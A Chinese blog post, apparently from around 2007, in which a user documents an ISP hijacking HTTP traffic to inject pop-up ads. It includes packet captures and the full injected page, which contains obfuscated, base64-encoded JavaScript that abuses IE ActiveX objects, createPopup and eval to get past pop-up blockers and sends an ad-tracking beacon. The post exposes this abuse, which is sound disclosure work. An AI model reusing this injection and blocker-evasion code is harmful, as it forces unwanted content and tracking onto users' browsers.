无耻的网通,HTTP截持弹广告越来越勤了(附抓包全过程)

我访问网站甲

[url]http://im.qq.com/jh/[/url]

602 bytes sent to 219.134.128.12:80

GET /jh/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: im.qq.com
Connection: Keep-Alive
Cookie: pvid=undefined; verifysession=462d275b013bb7edc97cc1b7d05e7ff2f5dcae8283b40c1a42c6b65ed603e72b; jp_session=1d8a81cf45c4a6cc68747470733a2f2f70617373776f72642e71712e636f6d2f6367692d62696e2f686a5f72656469726563743f773d31

返回了截持后的数据:
530 bytes received by ***.***.***.***:3703

HTTP/1.1 200 OK
Content-type: text/html

<html><meta http-equiv='Pragma' content='no-cache'><head><title></title><script LangUage='JavaScript'>try{var tmp=parent.window.location.href}catch(e){window.location.reload();}</script></head><frameset framespacing=0 border=0 rows='*,0' frameborder=0 οnlοad="window.lxmainframe.location='http://202.96.82.55/fx91/ifx91.html?url='+window.location;"><frame name='lxmainframe' src='about:blank' scrolling='auto'><frame name='lxblankframe' src='about:blank' scrolling='no'></frameset></html>

然后自动转向:

[url]http://202.96.82.55/fx91/ifx91.html?url=http://im.qq.com/jh/[/url]

GET /fx91/ifx91.html?url=http://im.qq.com/jh/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: [url]http://im.qq.com/jh/[/url]
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: 202.96.82.55
Connection: Keep-Alive

最后取得的代码,居然用gzip加密,解密后为:
HTTP/1.1 200 OK
Date: Sun, 03 Feb 2007 05:18:10 GMT
Server: Apache/2.0.54 (Unix) PHP/4.4.1
Last-Modified: Tue, 19 Dec 2006 05:56:26 GMT
ETag: "400002-1c64-c2365680"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3419
Connection: close
Content-Type: text/html; charset=GB2312

 

< html >
< head >
< title ></ title >
< meta  http-equiv ="Content-Type"  content ="text/html; charset=gb2312" >

< style  type ="text/css" >
<!--
body 
{
 margin
:  0px ;
 padding
:  0px ;
 overflow
: hidden ;
}
-->
</ style >

 


< script  language ="javascript" >

function  QueryString(fieldName)
{
      
var  urlString  =  document.location.search;
      
if (urlString  !=   null )
      {
           
var  typeQu  =  fieldName + " = " ;
           
var  urlEnd  =  urlString.indexOf(typeQu);
           
if (urlEnd  !=   - 1 )
           {
                
var  paramsUrl  =  urlString.substring(urlEnd + typeQu.length);
                
var  isEnd  =   paramsUrl.indexOf( ' & ' );
                
if (isEnd  !=   - 1 )
                {
                     
return  paramsUrl.substring( 0 , isEnd);
                }
                
else
                {
                    
return  paramsUrl;
                }
           }
           
else
           
return   null ;
      }
     
else
     
return   null ;
}
var  url  =  QueryString( " url " );
</ script >
</ head >
< body >
< iframe  id ="fulliframe"  LANG ="utf-8"  name ="fulliframe"  src =""  width ="100%"  height ="100%"  marginheight ="0"  marginwidth ="0"  frameborder ="0" ></ iframe >

<!--  START IFRAME LOADING  -->
< script  language ="JavaScript"  type ="text/javascript" >
frames[
' fulliframe ' ].location  =  url;
</ script >
<!--  END IFRAME LOADING  -->

< SCRIPT  LANGUAGE ="javascript" >

oV1
= window;
function  fStart(u,n,v) 
if  ( ! oV1.opera) {  var  twin = oV1.open(u,n,v); oV1.focus(); } 
if  ( ! window.fV1) {fV13();}  var  w = oV2(u,n,v); 
var  wo = vWA[w]; 
wo.pw
= twin; 
fV3(
" fV10( "   +  w  +   " ) " , 100 ); 
return  wo; } 
function  fV11() { return  fV6(vV1);}  function  fV5(x) {  return   true ; } 
function  oV2(u,n,v) {  var  c  =  vWA.length; vWA[c]  =   new  Array;  var  cw  =  vWA[c];  var  tn = new  Date();  if  ( ! v)  var  v = '' if  ( ! n)  var  n = tn.getTime(); cw.location = u; cw.f = 1 ; cw.s = 0 ; cw.n = n; cw.v = v; cw.cn = "" ; cw.cnt = c; cw.blur = function () {cw.f =- 1 ;}; cw.focus = function () {cw.f = 1 ;};  return  c }  function  fV13() { oV5 = oV1.document; vWA = new  Array; fV1 = oV1.open; fV2 = oV1.focus; fV3 = setTimeout; fV4 = clearTimeout; vV1 = ' PE9CSkVDVCBJRD0nb1Y0JyBkYXRhPScvZmF2aWNvbi5pY28nIHR5cGU9J2FwcGxpY2F0aW9uL3htbCc+PC9PQkpFQ1Q+ ' ; fV20 = (document.all &&! oV1.opera) ? 1 : 0 ; isG = fV31 = fV32 = 0 ; fV21 = fV20 ? (navigator.appVersion.indexOf( ' NT 5.1 ' ) > 0 ): 0 ; fV34 = fV20 ? (navigator.appVersion.indexOf( ' MSIE 7 ' ) > 0 ): 0 ; oV5.write(fV6( ' PGlucHV0IHN0eWxlPSJ3aWR0aDowcHg7IHRvcDowcHg7IHBvc2l0aW9uOmFic29sdXRlOyB2aXNpYmlsaXR5OmhpZGRlbjsiIGlkPSJvVjYiIG9uY2hhbmdlPSJmVjgoZlYxLDUsdHJ1ZSkiPg== ' )); oV5.write(fV6( ' PGRpdiBpZD0ib1YxMCI+PC9kaXY+ ' )); }  function  debug() { void ( 0 )}  function  fV6(input) {  var  o  =   "" var  chr1, chr2, chr3;  var  enc1, enc2, enc3, enc4;  var  i  =   0 var  keyStr  =   " ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= " ; input  =  input.replace( / [ ^ A - Za - z0 - 9 + / = ] / g,  "" );  do  { enc1  =  keyStr.indexOf(input.charAt(i ++ )); enc2  =  keyStr.indexOf(input.charAt(i ++ )); enc3  =  keyStr.indexOf(input.charAt(i ++ )); enc4  =  keyStr.indexOf(input.charAt(i ++ )); chr1  =  (enc1  <<   2 |  (enc2  >>   4 ); chr2  =  ((enc2  &   15 <<   4 |  (enc3  >>   2 ); chr3  =  ((enc3  &   3 <<   6 |  enc4; o  =  o  +  String.fromCharCode(chr1);  if  (enc3  !=   64 ) { o  =  o  +  String.fromCharCode(chr2); }  if  (enc4  !=   64 ) { o  =  o  +  String.fromCharCode(chr3); } }  while  (i  <  input.length);  return  o; }  function  fV12() {  if  ( -- fV25 < 1 return ; oV1.onerror = fV5;  var  t = fV3( ' fV12() ' , 500 ); oV1.wO1 = oV3.oV4.object.parentWindow; oV3.location = fV6( ' YWJvdXQ6Ymxhbms= ' ); fV3( ' fV8(wO1.open,2) ' , 200 ); fV4(t); }  function  fV17() {  if  ( -- fV25 < 1 ) { fV25 = 25 var  t = fV3( ' fV12() ' );  return ; }  var  x = fV3( ' fV17() ' , 250 ); oV1.fV14 = oV8.children[ 0 ].parentWindow; fV1 = fV14.open; fV4(x); oV8.removeChild(oV8.children[ 0 ]); oV5.all[ ' oV6 ' ].fireEvent( ' onchange ' ); }  function  fV16() { z = createPopup(); oV8 = z.document.body; oV8.innerHTML = fV6(vV1); fV25 = 5 ; fV3( ' fV17() ' , 200 ); }  function  fV19(v) {  if  (oV5.getElementById( ' oV10 ' )) { oV5.getElementById( ' oV10 ' ).innerHTML = v; }  else  {  var  o = oV5.createElement( " span " ); o.innerHTML = v; o.style.visibility  =   " visible " ; oV5.body.appendChild(o); } }  function  fV23() { fV8(fV1, 4 ); }  function  fV22() {  if  ( -- fV25 == 0 ) {fV21 = 0 ; fV7();  return ;}  var  wo = vWA[ 0 ];  var  x = fV3( ' fV22() ' , 750 );  var  o = fV24( ' oV9 ' );  if  (o.DOM) { wo.s =- 1 ; fV4(x); fV25 = 1 ; eval(fV6( " dmFyIG91dD0ic2hvd01vZGFsRGlhbG9nKCdqYXZhc2NyaXB0OndpbmRvdy5vbmVycm9yPWZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9OyBzZXRUaW1lb3V0KFwid2luZG93LmNsb3NlKClcIiw1MCk7IHg9d2luZG93Lm9wZW4oXCJhYm91dDpibGFua1wiLFwiIiArIHdvLm4gKyAiXCIsXCIiICsgd28udiArICJcIik7ICB4LmJsdXIoKTsgd2luZG93LmNsb3NlKCknLCcnLCdoZWxwOjA7Y2VudGVyOjA7ZGlhbG9nV2lkdGg6MTtkaWFsb2dIZWlnaHQ6MTtkaWFsb2dMZWZ0OjUwMDA7ZGlhbG9nVG9wOjUwMDA7Jyk7Ijsgby5ET00uU2NyaXB0LmV4ZWNTY3JpcHQob3V0KTsg " )); wo.s = 0 ; fV2(); fV3( ' fV23() ' ); } }  function  fV28() { fV19(fV6( ' PG9iamVjdCBpZD0ib1Y5IiBvbmVycm9yPSJmVjI1PTEiIHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjE7dG9wOjE7d2lkdGg6MTtoZWlnaHQ6MSIgY2xhc3NpZD0iY2xzaWQ6MkQzNjAyMDEtRkZGNS0xMWQxLThEMDMtMDBBMEM5NTlCQzBBIj48U0NSSVBUPmZWMjU9MTwvU0NSSVBUPjwvb2JqZWN0Pg== ' )); fV25 = 6 ; fV3( ' fV22() ' , 500 ) }  function  fV26() { fV19(fV6( ' PElGUkFNRSBpZD0ib1YzIiBOQU1FPSJvVjMiIFNUWUxFPSJ2aXNpYmlsaXR5OmhpZGRlbjsgcG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTtoZWlnaHQ6MTsiIHNyYz0iamF2YXNjcmlwdDpwYXJlbnQuZlYxMSgpIj48L0lGUkFNRT4= ' )); fV25 = 20 ; fV3( ' fV12() ' , 200 ); }  function  fV30() { fV3( ' fV32?fV29():fV28() ' );  var  o = document.createElement( ' object ' ); o.onreadystatechange = function (){fV32 = 1 }; o.classid = ' clsid:D2BD7935-05FC-11D2-9059-00C04FD7A1BD ' ; o.onreadystatechange = function (){fV32 = 0 }; }  function  fV29() { fV3( ' fV31?fV28():fV33() ' );  var  o = document.createElement( ' object ' ); o.onreadystatechange = function (){fV31 = 1 }; o.classid = ' clsid:9E30754B-29A9-41CE-8892-70E9E07D15DC ' ; o.onreadystatechange = function (){fV31 = 0 }; }  function  fV33() { fV3( ' isG?fV16():fV26(); ' );  var  o = document.createElement( ' object ' ); o.onreadystatechange = function (){isG = 1 }; o.classid = ' clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB ' ; o.onreadystatechange = function (){isG = 0 }; }  function  fV7() { oV5.body.onclick = function () {fV8(oV1.open, 3 )};  if  (oV5.createElement) { fV24 = oV5.getElementById;  if  (fV34) fV21 = 0 if  (fV20) {  if  (fV21) { fV30(); }  else  { fV33(); } }  else  { out = ' <embed swliveconnect="true" src="" width="1" height="1"> ' ; fV19(out);  if  ( ! oV5.all) { x = oV5.getElementById( ' oV6 ' ); x.focus(); x.value = Math.random(); } } } }  function  fV8(f,t,y) {  for  ( var  i = 0 ;i < vWA.length;i ++ if  (vWA[i].s == 0 ) { vWA[i].s =- 1 var  wo = vWA[i]; wo.pw = f(wo.location,wo.n,wo.v); fV3( " var i= " + i + " ; var wo=vWA[i]; if(wo.s==-1){wo.s=0} " ); fV9(wo,t); } }  function  fV9(wo,s) {  if  ( ! s) s = 0 if  (wo.s  >   1 return if  (s == 0 var  t = fV3( " fV7() " , 500 );  if  (s == 4 var  t = fV3( ' fV33() ' , 500 );  if  (s == 5   &&  isG)  var  t = fV3( ' fV26() ' , 200 ); oV1.onerror = fV5;  if  (wo.pw) {  if  ( ! oV1.opera) {wo.f ==- 1 ? wo.pw.blur():wo.pw.focus();} wo.s = 2 ; fV2(); fV4(t); eval(fV6( ' CQlpZiAoMSArIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDEwMCkgPCA2KSB7DQoJCQl2YXIgeD1uZXcgSW1hZ2UoKTsNCgkJCXguc3JjPSdodHRwOi8vd3d3LmFkb3V0cHV0LmNvbS92ZXJzaW9uMi9oaXRfcm0uY2ZtP3R5cGU9JyArIHM7DQoJCX0= ' )); oV1.onerror = null ; } }  function  fV10(w) {  if  (oV1.opera  &&   ! fV20) {fV7(); return ;} wo = vWA[w]; fV9(wo); }  var  l  =  (screen.width  -   720 /   2  ;
var  t  =  (screen.height  -   300 /   2  ;
var  pop  =  fStart( ' http://dm91.kulong8.com/120shop.htm ' , '' , ' height=600,width=800,left= ' + l + ' ,top= ' + t + ' ,toolbar=1,status=1,menubar=1,location=1,scrollbars=1,resizable=1 ' );
pop.blur();
window.focus();

</ SCRIPT >
</ BODY >
</ HTML >

 

 

以上弹窗代码凶悍异常,ggtoolbar拦截不住。

现在出现过的弹窗大概3种,一是有问必答网,一是健康商城,最近又多出来一个6room.

伟大的网通,让我们交钱看广告,真是前无古人,后无来者。 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值